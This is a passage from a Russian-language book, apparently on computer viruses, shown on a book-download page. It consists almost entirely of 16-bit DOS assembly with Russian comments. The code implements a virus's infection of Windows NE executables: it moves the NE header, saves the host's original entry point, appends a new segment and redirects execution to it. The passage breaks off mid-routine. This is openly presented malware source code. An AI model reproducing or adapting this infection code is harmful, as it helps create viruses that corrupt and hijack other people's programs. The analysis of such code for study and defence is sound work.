Скачать книгу

NE−заголовок на 8 байт ближе к началу файла.

      ;Исправим соответствующие поля старого заголовка

      sub WORD PTR [old_hdr+10h],8

      sub WORD PTR [old_hdr+3ch],8

      sbb WORD PTR [old_hdr+3eh],0

      ;Исправим значения таблиц в новом заголовке, чтобы переместились

      ;только заголовок и таблица сегментов (без остальных таблиц)

      add WORD PTR [new_hdr+4],8

      add WORD PTR [new_hdr+24h],8

      add WORD PTR [new_hdr+26h],8

      add WORD PTR [new_hdr+28h],8

      add WORD PTR [new_hdr+2ah],8

      ;Сохраним оригинальные значения точек входа CS и IP

      push WORD PTR [new_hdr+14h]

      pop [host_ip]

      push WORD PTR [new_hdr+16h]

      pop [host_cs]

      ;Добавим еще один сегмент в таблицу сегментов и установим

      ;точку входа на его начало

      mov WORD PTR [new_hdr+14h],0

      inc WORD PTR [new_hdr+1ch]

      push WORD PTR [new_hdr+1ch]

      pop WORD PTR [new_hdr+16h]

      ;Переместим указатель чтения/записи в начало файла

      ;(к старому заголовку)

      xor cx,cx

      xor dx,dx

      mov ax,4200h

      int 21h

      ;Запишем старый заголовок, так как модифицированы

      ;некоторые поля его копии в памяти

      mov dx,OFFSET old_hdr

      mov cx,40h

      mov ah,40h

      int 21h

      ;Переместим указатель чтения/записи на начало нового

      ;заголовка (его переместили на 8 байт к началу файла)

      mov dx,WORD PTR [old_hdr+3ch]

      mov cx,WORD PTR [old_hdr+3eh]

      mov ax,4200h

      int 21h

      ;Запишем новый заголовок, так как в его копии

      ;в памяти некоторые поля модифицированы

      mov dx,OFFSET new_hdr

      mov cx,40h

      mov ah,40h

      int 21h

      ;Переместим указатель чтения/записи на 8 байт

      ;вперед – к началу таблицы сегментов

      xor cx,cx

      mov dx,8

      mov ax,4201h

      int 21h

      ;Рассчитаем размер таблицы сегментов и считаем ее в память

      mov dx,OFFSET temp

      mov cx,WORD PTR [new_hdr+1ch]

      dec cx

      shl cx,3

      push cx

      mov ah,3Fh

      int 21h

      ;Переместим указатель чтения/записи назад, к позиции

      ;за 8 байт перед началом таблицы сегментов

      pop dx

      push dx

      add dx,8

      neg dx

      mov cx,–1

      mov ax,4201h

      int 21h

      ;Запишем таблицу сегментов в файл, но не на ее прежнее место,

      ;а на 8 байт ближе к началу файла

      mov dx,OFFSET temp

      pop cx

      mov ah,40h

      int 21h

      ;Прочтем текущую позицию чтения/записи (конец таблицы сегментов)

      xor cx,cx

      xor dx,dx

      mov ax,4201h

      int 21h

      ;Сохраним в стеке текущую позицию чтения/записи

      push dx

      push ax

      ;Получим длину файла, переместив указатель

      ;чтения/записи в конец файла

      xor cx,cx

      xor dx,dx

      mov ax,4202h

      int 21h

      ;Сохраним в стеке длину файла

      push dx

      push ax

      ;Вычислим и сохраним длину логического сектора

      mov cx,WORD PTR [new_hdr+32h]

      mov ax,1

      shl ax,cl

      mov [log_sec_len],ax

      ;Вычислим длину файла в логических секторах

      mov cx,ax

      pop ax

      pop dx

      div cx

      ;Учтем неполный сектор. Если в результате получился

      ;остаток, увеличим количество секторов

      or dx,dx

      jz no_rmd

      inc ax

      no_rmd:

      ;Заполним поля нового элемента в таблице

Скачать книгу